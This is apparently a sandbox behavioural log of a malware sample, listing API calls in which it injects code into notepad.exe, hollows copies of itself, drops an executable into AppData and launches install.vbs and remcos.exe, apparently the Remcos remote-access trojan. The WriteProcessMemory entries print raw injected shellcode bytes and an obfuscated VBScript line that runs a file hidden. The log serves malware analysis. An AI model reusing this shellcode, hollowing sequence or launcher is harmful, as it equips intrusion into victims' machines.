| Time & API |
Arguments |
Status |
Return |
Repeated |
1619649240.447979
CreateProcessInternalW
|
thread_identifier:
2260
thread_handle:
0x00000110
process_identifier:
2504
current_directory:
filepath:
C:\Windows\System32\notepad.exe
track:
1
command_line:
filepath_r:
C:\Windows\system32\notepad.exe
stack_pivoted:
0
creation_flags:
32
(NORMAL_PRIORITY_CLASS)
process_handle:
0x00000108
inherit_handles:
0
|
success
|
1 |
0
|
1619649240.447979
NtAllocateVirtualMemory
|
process_identifier:
2504
region_size:
4096
stack_dep_bypass:
0
stack_pivoted:
0
heap_dep_bypass:
0
protection:
64
(PAGE_EXECUTE_READWRITE)
process_handle:
0x00000108
allocation_type:
12288
(MEM_COMMIT|MEM_RESERVE)
base_address:
0x000b0000
|
success
|
0 |
0
|
1619649240.447979
NtAllocateVirtualMemory
|
process_identifier:
2504
region_size:
4096
stack_dep_bypass:
0
stack_pivoted:
0
heap_dep_bypass:
0
protection:
4
(PAGE_READWRITE)
process_handle:
0x00000108
allocation_type:
12288
(MEM_COMMIT|MEM_RESERVE)
base_address:
0x00100000
|
success
|
0 |
0
|
1619649240.447979
WriteProcessMemory
|
process_identifier:
2504
buffer:
Q¹0 d@ @ @$$YÃVWR¾§ÆgNè Yøv ·
¿Zw f;Ït
¿Nt f;ÏuÂè
ÀtÎÁáþÁïϾ:Ï3ñBHué_Æ^ÃUìQQMSVW
Ét;¸MZ f9u1A<Át*8PE u"@xeü Áx X$p @ùÙñEø
Àu
3À_^[ÉÃMEüÑèOÿÿÿ;E t
ÿEüEü;Eøràë×Eü·CEëÊUìQSW3ÿWWjWjh @ÿuÿVØûÿu3Àë&WWWS}üÿV0W}EüPWÿu SÿV SÿV3À9}üÀ_[ÉÃ
Étè
Àt3ÉfÃUìì Vð
äüÿÿP3ÀPPjPÿVl
À
j\XfEü3Àj.fEþXjvfEðXfEòjbXfEôjsXfEö3ÀfEøUü
äüÿÿèÖ U èÎ UðèÆ ÿu
ìþÿÿÿuPÿVxÄ
äüÿÿPÿV
ìþÿÿPè @P
ìþÿÿP
äüÿÿPèîþÿÿÄ^ÉÃUìì, j:XjZfEÜXjofEÞXjnfEàXjefEâXjIfEäXjdfEæXjefEèXjnfEêXjtfEìXjifEîXjffEðXjifEòXfEôjeXfEöjrXfEø3ÀfEú
Ôýÿÿè¬ UÜè÷ EÿPÆEÿ è PEÿP
ÔýÿÿPè?þÿÿÄÉÃUìQeü VðEüPÿuèþ YY
Àt }ü tÿuüPÿu è þÿÿÄ
Àt3À@ë3À^ÉÃUìì SVðÏ
øýÿÿè' Èè(þÿÿ3ÛS
øýÿÿPÿVWÿV8] uWÿuÆè~ÿÿÿYYØë } u5SWÿuÿWÿV(3ÛøÿÏÃèªþÿÿûu9]u WÿV(ÈPWÿV,3À@ë3À^[ÉÃUììSVWèsüÿÿø
ÿ" h"¿WèÌüÿÿØYY
Û jh 0 h j ÿÓð
öñ h¼Û«½W~`^@èüÿÿh Ò¼WF$èüÿÿh|QgjWF(èyüÿÿhëIWF,èküÿÿhå©WF0è]üÿÿh¥°(WF4èOüÿÿh )·WF8èAüÿÿh[uðWFDè3üÿÿÄ@ØhdóuW^ è üÿÿh¢¦aëWF èüÿÿhÕOd"WFèüÿÿhy.ÃWFèöûÿÿh±÷WFèèûÿÿheóW÷WF èÚûÿÿh¯4PWFèÌûÿÿh{=#WF<è¾ûÿÿÄ@hOû~
WFèûÿÿhà=!6WFHèûÿÿhh#WèûÿÿFLhÍeWèûÿÿhÓ1ÆVWFPèvûÿÿh7½WFTèhûÿÿh£-ã WFXèZûÿÿF\Ä8EðPÇEðshelÇEôl32 ÿÓø
ÿt"hÀåz°W~dè,ûÿÿhêêºWFlè ûÿÿÄFpEøPÇEøuserfÇEü32ÆEþ ÿV ø
ÿtAhqV°0W~hèìúÿÿhkV°0WFxèÞúÿÿh&cjWFtèÐúÿÿh<cjWF|èÂúÿÿÄ Æë3À_^[ÉÃUìì\VuW3ÿ;÷î Sè¤ýÿÿØ;ßu WÿD éÕ EüPëj2ÿSPÿuüWWÿSL
ÀuïjdÿSPFEøE9>tYÿ¶ ¶ QP¾ Ãè¾üÿÿ}3ÿÄ 9>t1jDE¤WPè jEèWPèü ÄEèPE¤PWWj WWWWÿuÿS$9¾( tl P, PÿuÃè½úÿÿÄ 9¾ t ëj2ÿSPÿuüWWÿSL
ÀuïjdÿSPÿuøÿSWÿSD[_3À^É Uìì SW3ÿWWjWjh ÿu}øÿVØûÿu3Àë>WSÿVEô;Çt+jh 0 PWÿV@Eø;ÇtWMüQÿuô}üPSÿV EüM SÿVEø_[É÷ff
ÒtVð+ñÁ·ff
Òuñ^ÃUìQQEEüEüEEøEü;EøtEüM Eü@EüëçEÉÃf8 Vðt Æf> u÷+ò·
f Âf
Éuñ^ÃD$@Éuù+D$HÃ
Éu3ÀÃf9 Át Àf8 u÷+ÁÑøÃ
Ét èÚÿÿÿ
ÀtDAþë fù\t
è·f
Éuï3ÀÃ
process_handle:
0x00000108
base_address:
0x000b0000
|
success
|
1 |
0
|
1619649240.447979
WriteProcessMemory
|
process_identifier:
2504
buffer:
C : \ U s e r s \ A d m i n i s t r a t o r . O s k a r - P C \ A p p D a t a \ L o c a l \ T e m p \ 7 8 3 4 c 8 f f b a a 7 7 e 6 8 9 c 8 5 8 0 8 3 2 2 4 1 b f f 3 . e x e C : \ U s e r s \ A d m i n i s t r a t o r . O s k a r - P C \ A p p D a t a \ R o a m i n g \ g i u i g g i u g u h i \ h g g h u y g u y . e x e " C : \ U s e r s \ A d m i n i s t r a t o r . O s k a r - P C \ A p p D a t a \ L o c a l \ T e m p \ 7 8 3 4 c 8 f f b a a 7 7 e 6 8 9 c 8 5 8 0 8 3 2 2 4 1 b f f 3 . e x e " w a p set XHxSLDlAUNdRIUH = cReaTeobjecT("wscRiPt.sHell")
XhXsLDlauNDRIuH.rUn """%ls""", 0, False
process_handle:
0x00000108
base_address:
0x00100000
|
success
|
1 |
0
|
1619673738.166125
CreateProcessInternalW
|
thread_identifier:
2764
thread_handle:
0x000000d0
process_identifier:
1912
current_directory:
filepath:
C:\Users\Administrator.Oskar-PC\AppData\Roaming\giuiggiuguhi\hgghuyguy.exe
track:
1
command_line:
filepath_r:
C:\Users\Administrator.Oskar-PC\AppData\Roaming\giuiggiuguhi\hgghuyguy.exe
stack_pivoted:
0
creation_flags:
32
(NORMAL_PRIORITY_CLASS)
process_handle:
0x000000cc
inherit_handles:
0
|
success
|
1 |
0
|
1619673750.619625
CreateProcessInternalW
|
thread_identifier:
2008
thread_handle:
0x0000010c
process_identifier:
624
current_directory:
filepath:
track:
1
command_line:
"C:\Users\Administrator.Oskar-PC\AppData\Roaming\giuiggiuguhi\hgghuyguy.exe"
filepath_r:
stack_pivoted:
0
creation_flags:
4
(CREATE_SUSPENDED)
process_handle:
0x00000104
inherit_handles:
0
|
success
|
1 |
0
|
1619673750.619625
NtUnmapViewOfSection
|
process_identifier:
624
region_size:
4096
process_handle:
0x00000104
base_address:
0x00400000
|
success
|
0 |
0
|
1619673750.619625
NtMapViewOfSection
|
section_handle:
0x00000114
process_identifier:
624
commit_size:
131072
win32_protect:
64
(PAGE_EXECUTE_READWRITE)
buffer:
process_handle:
0x00000104
allocation_type:
0
()
section_offset:
0
view_size:
131072
base_address:
0x00400000
|
success
|
0 |
0
|
1619673750.619625
NtGetContextThread
|
thread_handle:
0x0000010c
|
success
|
0 |
0
|
1619673750.619625
NtSetContextThread
|
thread_handle:
0x0000010c
registers.eip:
0
registers.esp:
0
registers.edi:
0
registers.eax:
4274820
registers.ebp:
0
registers.edx:
0
registers.ebx:
2130567168
registers.esi:
0
registers.ecx:
0
process_identifier:
624
|
success
|
0 |
0
|
1619673750.822625
NtResumeThread
|
thread_handle:
0x0000010c
suspend_count:
1
process_identifier:
624
|
success
|
0 |
0
|
1619673750.869625
CreateProcessInternalW
|
thread_identifier:
2424
thread_handle:
0x00000110
process_identifier:
2868
current_directory:
filepath:
track:
1
command_line:
"C:\Users\Administrator.Oskar-PC\AppData\Roaming\giuiggiuguhi\hgghuyguy.exe" 2 624 27711937
filepath_r:
stack_pivoted:
0
creation_flags:
32
(NORMAL_PRIORITY_CLASS)
process_handle:
0x00000120
inherit_handles:
0
|
success
|
1 |
0
|
1619673756.83875
CreateProcessInternalW
|
thread_identifier:
2496
thread_handle:
0x0000019c
process_identifier:
2648
current_directory:
filepath:
C:\Users\Administrator.Oskar-PC\AppData\Roaming\giuiggiuguhi\hgghuyguy.exe
track:
1
command_line:
filepath_r:
C:\Users\Administrator.Oskar-PC\AppData\Roaming\giuiggiuguhi\hgghuyguy.exe
stack_pivoted:
0
creation_flags:
32
(NORMAL_PRIORITY_CLASS)
process_handle:
0x000001a0
inherit_handles:
0
|
success
|
1 |
0
|
1619673752.244625
NtResumeThread
|
thread_handle:
0x000001e0
suspend_count:
1
process_identifier:
624
|
success
|
0 |
0
|
1619673752.916625
CreateProcessInternalW
|
thread_identifier:
1812
thread_handle:
0x00000188
process_identifier:
2284
current_directory:
C:\Users\Administrator.Oskar-PC\AppData\Local\Temp
filepath:
C:\Windows\System32\wscript.exe
track:
1
command_line:
"C:\Windows\System32\WScript.exe" "C:\Users\ADMINI~1.OSK\AppData\Local\Temp\install.vbs"
filepath_r:
C:\Windows\System32\WScript.exe
stack_pivoted:
0
creation_flags:
67634192
(CREATE_DEFAULT_ERROR_MODE|CREATE_NEW_CONSOLE|CREATE_UNICODE_ENVIRONMENT|EXTENDED_STARTUPINFO_PRESENT)
process_handle:
0x00000214
inherit_handles:
0
|
success
|
1 |
0
|
1619673756.853625
CreateProcessInternalW
|
thread_identifier:
1752
thread_handle:
0x000002ac
process_identifier:
3068
current_directory:
C:\Users\Administrator.Oskar-PC\AppData\Local\Temp
filepath:
C:\Windows\System32\cmd.exe
track:
1
command_line:
"C:\Windows\System32\cmd.exe" /c "C:\Users\Administrator.Oskar-PC\AppData\Roaming\remcos\remcos.exe"
filepath_r:
C:\Windows\System32\cmd.exe
stack_pivoted:
0
creation_flags:
67634192
(CREATE_DEFAULT_ERROR_MODE|CREATE_NEW_CONSOLE|CREATE_UNICODE_ENVIRONMENT|EXTENDED_STARTUPINFO_PRESENT)
process_handle:
0x000002f4
inherit_handles:
0
|
success
|
1 |
0
|
1619673769.7755
CreateProcessInternalW
|
thread_identifier:
3176
thread_handle:
0x0000010c
process_identifier:
3172
current_directory:
filepath:
track:
1
command_line:
"C:\Users\Administrator.Oskar-PC\AppData\Roaming\giuiggiuguhi\hgghuyguy.exe"
filepath_r:
stack_pivoted:
0
creation_flags:
4
(CREATE_SUSPENDED)
process_handle:
0x00000104
inherit_handles:
0
|
success
|
1 |
0
|
1619673769.7755
NtUnmapViewOfSection
|
process_identifier:
3172
region_size:
4096
process_handle:
0x00000104
base_address:
0x00400000
|
success
|
0 |
0
|
1619673769.7755
NtMapViewOfSection
|
section_handle:
0x00000114
process_identifier:
3172
commit_size:
131072
win32_protect:
64
(PAGE_EXECUTE_READWRITE)
buffer:
process_handle:
0x00000104
allocation_type:
0
()
section_offset:
0
view_size:
131072
base_address:
0x00400000
|
success
|
0 |
0
|
1619673769.7755
NtGetContextThread
|
thread_handle:
0x0000010c
|
success
|
0 |
0
|
1619673769.7755
NtSetContextThread
|
thread_handle:
0x0000010c
registers.eip:
0
registers.esp:
0
registers.edi:
0
registers.eax:
4274820
registers.ebp:
0
registers.edx:
0
registers.ebx:
2130567168
registers.esi:
0
registers.ecx:
0
process_identifier:
3172
|
success
|
0 |
0
|
1619673770.0255
NtResumeThread
|
thread_handle:
0x0000010c
suspend_count:
1
process_identifier:
3172
|
success
|
0 |
0
|
1619673770.0725
CreateProcessInternalW
|
thread_identifier:
3236
thread_handle:
0x00000110
process_identifier:
3232
current_directory:
filepath:
track:
1
command_line:
"C:\Users\Administrator.Oskar-PC\AppData\Roaming\giuiggiuguhi\hgghuyguy.exe" 2 3172 27731140
filepath_r:
stack_pivoted:
0
creation_flags:
32
(NORMAL_PRIORITY_CLASS)
process_handle:
0x00000120
inherit_handles:
0
|
success
|
1 |
0
|
1619673758.556
CreateProcessInternalW
|
thread_identifier:
1208
thread_handle:
0x00000080
process_identifier:
2344
current_directory:
C:\Users\Administrator.Oskar-PC\AppData\Local\Temp
filepath:
C:\Users\Administrator.Oskar-PC\AppData\Roaming\remcos\remcos.exe
track:
1
command_line:
C:\Users\Administrator.Oskar-PC\AppData\Roaming\remcos\remcos.exe
filepath_r:
C:\Users\Administrator.Oskar-PC\AppData\Roaming\remcos\remcos.exe
stack_pivoted:
0
creation_flags:
524288
(EXTENDED_STARTUPINFO_PRESENT)
process_handle:
0x00000084
inherit_handles:
1
|
success
|
1 |
0
|
1619673771.530633
CreateProcessInternalW
|
thread_identifier:
3324
thread_handle:
0x0000010c
process_identifier:
3320
current_directory:
filepath:
C:\Windows\System32\notepad.exe
track:
1
command_line:
filepath_r:
C:\Windows\system32\notepad.exe
stack_pivoted:
0
creation_flags:
32
(NORMAL_PRIORITY_CLASS)
process_handle:
0x00000104
inherit_handles:
0
|
success
|
1 |
0
|
1619673771.530633
NtAllocateVirtualMemory
|
process_identifier:
3320
region_size:
4096
stack_dep_bypass:
0
stack_pivoted:
0
heap_dep_bypass:
0
protection:
64
(PAGE_EXECUTE_READWRITE)
process_handle:
0x00000104
allocation_type:
12288
(MEM_COMMIT|MEM_RESERVE)
base_address:
0x000f0000
|
success
|
0 |
0
|
1619673771.530633
NtAllocateVirtualMemory
|
process_identifier:
3320
region_size:
4096
stack_dep_bypass:
0
stack_pivoted:
0
heap_dep_bypass:
0
protection:
4
(PAGE_READWRITE)
process_handle:
0x00000104
allocation_type:
12288
(MEM_COMMIT|MEM_RESERVE)
base_address:
0x00100000
|
success
|
0 |
0
|
1619673771.530633
WriteProcessMemory
|
process_identifier:
3320
buffer:
Q¹0 d@ @ @$$YÃVWR¾§ÆgNè Yøv ·
¿Zw f;Ït
¿Nt f;ÏuÂè
ÀtÎÁáþÁïϾ:Ï3ñBHué_Æ^ÃUìQQMSVW
Ét;¸MZ f9u1A<Át*8PE u"@xeü Áx X$p @ùÙñEø
Àu
3À_^[ÉÃMEüÑèOÿÿÿ;E t
ÿEüEü;Eøràë×Eü·CEëÊUìQSW3ÿWWjWjh @ÿuÿVØûÿu3Àë&WWWS}üÿV0W}EüPWÿu SÿV SÿV3À9}üÀ_[ÉÃ
Étè
Àt3ÉfÃUìì Vð
äüÿÿP3ÀPPjPÿVl
À
j\XfEü3Àj.fEþXjvfEðXfEòjbXfEôjsXfEö3ÀfEøUü
äüÿÿèÖ U èÎ UðèÆ ÿu
ìþÿÿÿuPÿVxÄ
äüÿÿPÿV
ìþÿÿPè @P
ìþÿÿP
äüÿÿPèîþÿÿÄ^ÉÃUìì, j:XjZfEÜXjofEÞXjnfEàXjefEâXjIfEäXjdfEæXjefEèXjnfEêXjtfEìXjifEîXjffEðXjifEòXfEôjeXfEöjrXfEø3ÀfEú
Ôýÿÿè¬ UÜè÷ EÿPÆEÿ è PEÿP
ÔýÿÿPè?þÿÿÄÉÃUìQeü VðEüPÿuèþ YY
Àt }ü tÿuüPÿu è þÿÿÄ
Àt3À@ë3À^ÉÃUìì SVðÏ
øýÿÿè' Èè(þÿÿ3ÛS
øýÿÿPÿVWÿV8] uWÿuÆè~ÿÿÿYYØë } u5SWÿuÿWÿV(3ÛøÿÏÃèªþÿÿûu9]u WÿV(ÈPWÿV,3À@ë3À^[ÉÃUììSVWèsüÿÿø
ÿ" h"¿WèÌüÿÿØYY
Û jh 0 h j ÿÓð
öñ h¼Û«½W~`^@èüÿÿh Ò¼WF$èüÿÿh|QgjWF(èyüÿÿhëIWF,èküÿÿhå©WF0è]üÿÿh¥°(WF4èOüÿÿh )·WF8èAüÿÿh[uðWFDè3üÿÿÄ@ØhdóuW^ è üÿÿh¢¦aëWF èüÿÿhÕOd"WFèüÿÿhy.ÃWFèöûÿÿh±÷WFèèûÿÿheóW÷WF èÚûÿÿh¯4PWFèÌûÿÿh{=#WF<è¾ûÿÿÄ@hOû~
WFèûÿÿhà=!6WFHèûÿÿhh#WèûÿÿFLhÍeWèûÿÿhÓ1ÆVWFPèvûÿÿh7½WFTèhûÿÿh£-ã WFXèZûÿÿF\Ä8EðPÇEðshelÇEôl32 ÿÓø
ÿt"hÀåz°W~dè,ûÿÿhêêºWFlè ûÿÿÄFpEøPÇEøuserfÇEü32ÆEþ ÿV ø
ÿtAhqV°0W~hèìúÿÿhkV°0WFxèÞúÿÿh&cjWFtèÐúÿÿh<cjWF|èÂúÿÿÄ Æë3À_^[ÉÃUìì\VuW3ÿ;÷î Sè¤ýÿÿØ;ßu WÿD éÕ EüPëj2ÿSPÿuüWWÿSL
ÀuïjdÿSPFEøE9>tYÿ¶ ¶ QP¾ Ãè¾üÿÿ}3ÿÄ 9>t1jDE¤WPè jEèWPèü ÄEèPE¤PWWj WWWWÿuÿS$9¾( tl P, PÿuÃè½úÿÿÄ 9¾ t ëj2ÿSPÿuüWWÿSL
ÀuïjdÿSPÿuøÿSWÿSD[_3À^É Uìì SW3ÿWWjWjh ÿu}øÿVØûÿu3Àë>WSÿVEô;Çt+jh 0 PWÿV@Eø;ÇtWMüQÿuô}üPSÿV EüM SÿVEø_[É÷ff
ÒtVð+ñÁ·ff
Òuñ^ÃUìQQEEüEüEEøEü;EøtEüM Eü@EüëçEÉÃf8 Vðt Æf> u÷+ò·
f Âf
Éuñ^ÃD$@Éuù+D$HÃ
Éu3ÀÃf9 Át Àf8 u÷+ÁÑøÃ
Ét èÚÿÿÿ
ÀtDAþë fù\t
è·f
Éuï3ÀÃ
process_handle:
0x00000104
base_address:
0x000f0000
|
success
|
1 |
0
|
1619673771.530633
WriteProcessMemory
|
process_identifier:
3320
buffer:
C : \ U s e r s \ A d m i n i s t r a t o r . O s k a r - P C \ A p p D a t a \ R o a m i n g \ r e m c o s \ r e m c o s . e x e C : \ U s e r s \ A d m i n i s t r a t o r . O s k a r - P C \ A p p D a t a \ R o a m i n g \ g i u i g g i u g u h i \ h g g h u y g u y . e x e C : \ U s e r s \ A d m i n i s t r a t o r . O s k a r - P C \ A p p D a t a \ R o a m i n g \ r e m c o s \ r e m c o s . e x e w a p set XHxSLDlAUNdRIUH = cReaTeobjecT("wscRiPt.sHell")
XhXsLDlauNDRIuH.rUn """%ls""", 0, False
process_handle:
0x00000104
base_address:
0x00100000
|
success
|
1 |
0
|
1619673771.243774
NtResumeThread
|
thread_handle:
0x000001e0
suspend_count:
1
process_identifier:
3172
|
success
|
0 |
0
|
1619673772.165774
CreateProcessInternalW
|
thread_identifier:
3372
thread_handle:
0x00000174
process_identifier:
3368
current_directory:
C:\Users\Administrator.Oskar-PC\AppData\Local\Temp
filepath:
C:\Windows\System32\wscript.exe
track:
1
command_line:
"C:\Windows\System32\WScript.exe" "C:\Users\ADMINI~1.OSK\AppData\Local\Temp\install.vbs"
filepath_r:
C:\Windows\System32\WScript.exe
stack_pivoted:
0
creation_flags:
67634192
(CREATE_DEFAULT_ERROR_MODE|CREATE_NEW_CONSOLE|CREATE_UNICODE_ENVIRONMENT|EXTENDED_STARTUPINFO_PRESENT)
process_handle:
0x00000188
inherit_handles:
0
|
success
|
1 |
0
|
1619673779.321274
CreateProcessInternalW
|
thread_identifier:
3604
thread_handle:
0x000001a0
process_identifier:
3600
current_directory:
filepath:
C:\Users\Administrator.Oskar-PC\AppData\Roaming\giuiggiuguhi\hgghuyguy.exe
track:
1
command_line:
filepath_r:
C:\Users\Administrator.Oskar-PC\AppData\Roaming\giuiggiuguhi\hgghuyguy.exe
stack_pivoted:
0
creation_flags:
32
(NORMAL_PRIORITY_CLASS)
process_handle:
0x000001a4
inherit_handles:
0
|
success
|
1 |
0
|
1619673773.649649
CreateProcessInternalW
|
thread_identifier:
3488
thread_handle:
0x000000cc
process_identifier:
3484
current_directory:
filepath:
C:\Users\Administrator.Oskar-PC\AppData\Roaming\giuiggiuguhi\hgghuyguy.exe
track:
1
command_line:
filepath_r:
C:\Users\Administrator.Oskar-PC\AppData\Roaming\giuiggiuguhi\hgghuyguy.exe
stack_pivoted:
0
creation_flags:
32
(NORMAL_PRIORITY_CLASS)
process_handle:
0x000000d0
inherit_handles:
0
|
success
|
1 |
0
|
1619673779.321274
CreateProcessInternalW
|
thread_identifier:
3588
thread_handle:
0x000002b0
process_identifier:
3584
current_directory:
C:\Users\Administrator.Oskar-PC\AppData\Local\Temp
filepath:
C:\Windows\System32\cmd.exe
track:
1
command_line:
"C:\Windows\System32\cmd.exe" /c "C:\Users\Administrator.Oskar-PC\AppData\Roaming\remcos\remcos.exe"
filepath_r:
C:\Windows\System32\cmd.exe
stack_pivoted:
0
creation_flags:
67634192
(CREATE_DEFAULT_ERROR_MODE|CREATE_NEW_CONSOLE|CREATE_UNICODE_ENVIRONMENT|EXTENDED_STARTUPINFO_PRESENT)
process_handle:
0x000002f8
inherit_handles:
0
|
success
|
1 |
0
|
1619673787.290524
CreateProcessInternalW
|
thread_identifier:
3908
thread_handle:
0x0000010c
process_identifier:
3904
current_directory:
filepath:
track:
1
command_line:
"C:\Users\Administrator.Oskar-PC\AppData\Roaming\giuiggiuguhi\hgghuyguy.exe"
filepath_r:
stack_pivoted:
0
creation_flags:
4
(CREATE_SUSPENDED)
process_handle:
0x00000104
inherit_handles:
0
|
success
|
1 |
0
|
1619673787.290524
NtUnmapViewOfSection
|
process_identifier:
3904
region_size:
4096
process_handle:
0x00000104
base_address:
0x00400000
|
success
|
0 |
0
|
1619673787.290524
NtMapViewOfSection
|
section_handle:
0x00000114
process_identifier:
3904
commit_size:
131072
win32_protect:
64
(PAGE_EXECUTE_READWRITE)
buffer:
process_handle:
0x00000104
allocation_type:
0
()
section_offset:
0
view_size:
131072
base_address:
0x00400000
|
success
|
0 |
0
|
1619673787.290524
NtGetContextThread
|
thread_handle:
0x0000010c
|
success
|
0 |
0
|
1619673787.290524
NtSetContextThread
|
thread_handle:
0x0000010c
registers.eip:
0
registers.esp:
0
registers.edi:
0
registers.eax:
4274820
registers.ebp:
0
registers.edx:
0
registers.ebx:
2130567168
registers.esi:
0
registers.ecx:
0
process_identifier:
3904
|
success
|
0 |
0
|
1619673787.493524
NtResumeThread
|
thread_handle:
0x0000010c
suspend_count:
1
process_identifier:
3904
|
success
|
0 |
0
|
1619673787.540524
CreateProcessInternalW
|
thread_identifier:
3968
thread_handle:
0x00000110
process_identifier:
3964
current_directory:
filepath:
track:
1
command_line:
"C:\Users\Administrator.Oskar-PC\AppData\Roaming\giuiggiuguhi\hgghuyguy.exe" 2 3904 27748609
filepath_r:
stack_pivoted:
0
creation_flags:
32
(NORMAL_PRIORITY_CLASS)
process_handle:
0x00000120
inherit_handles:
0
|
success
|
1 |
0
|
1619673793.884774
CreateProcessInternalW
|
thread_identifier:
3164
thread_handle:
0x0000010c
process_identifier:
3144
current_directory:
filepath:
track:
1
command_line:
"C:\Users\Administrator.Oskar-PC\AppData\Roaming\giuiggiuguhi\hgghuyguy.exe"
filepath_r:
stack_pivoted:
0
creation_flags:
4
(CREATE_SUSPENDED)
process_handle:
0x00000104
inherit_handles:
0
|
success
|
1 |
0
|
1619673793.884774
NtUnmapViewOfSection
|
process_identifier:
3144
region_size:
4096
process_handle:
0x00000104
base_address:
0x00400000
|
success
|
0 |
0
|
1619673793.899774
NtMapViewOfSection
|
section_handle:
0x00000114
process_identifier:
3144
commit_size:
131072
win32_protect:
64
(PAGE_EXECUTE_READWRITE)
buffer:
process_handle:
0x00000104
allocation_type:
0
()
section_offset:
0
view_size:
131072
base_address:
0x00400000
|
success
|
0 |
0
|
1619673793.930774
NtGetContextThread
|
thread_handle:
0x0000010c
|
success
|
0 |
0
|
1619673793.930774
NtSetContextThread
|
thread_handle:
0x0000010c
registers.eip:
0
registers.esp:
0
registers.edi:
0
registers.eax:
4274820
registers.ebp:
0
registers.edx:
0
registers.ebx:
2130567168
registers.esi:
0
registers.ecx:
0
process_identifier:
3144
|
success
|
0 |
0
|
1619673795.665774
NtResumeThread
|
thread_handle:
0x0000010c
suspend_count:
1
process_identifier:
3144
|
success
|
0 |
0
|
1619673781.040524
CreateProcessInternalW
|
thread_identifier:
3752
thread_handle:
0x00000080
process_identifier:
3748
current_directory:
C:\Users\Administrator.Oskar-PC\AppData\Local\Temp
filepath:
C:\Users\Administrator.Oskar-PC\AppData\Roaming\remcos\remcos.exe
track:
1
command_line:
C:\Users\Administrator.Oskar-PC\AppData\Roaming\remcos\remcos.exe
filepath_r:
C:\Users\Administrator.Oskar-PC\AppData\Roaming\remcos\remcos.exe
stack_pivoted:
0
creation_flags:
524288
(EXTENDED_STARTUPINFO_PRESENT)
process_handle:
0x00000084
inherit_handles:
1
|
success
|
1 |
0
|
1619673794.252813
CreateProcessInternalW
|
thread_identifier:
3212
thread_handle:
0x00000110
process_identifier:
3220
current_directory:
filepath:
C:\Windows\System32\notepad.exe
track:
1
command_line:
filepath_r:
C:\Windows\system32\notepad.exe
stack_pivoted:
0
creation_flags:
32
(NORMAL_PRIORITY_CLASS)
process_handle:
0x00000108
inherit_handles:
0
|
success
|
1 |
0
|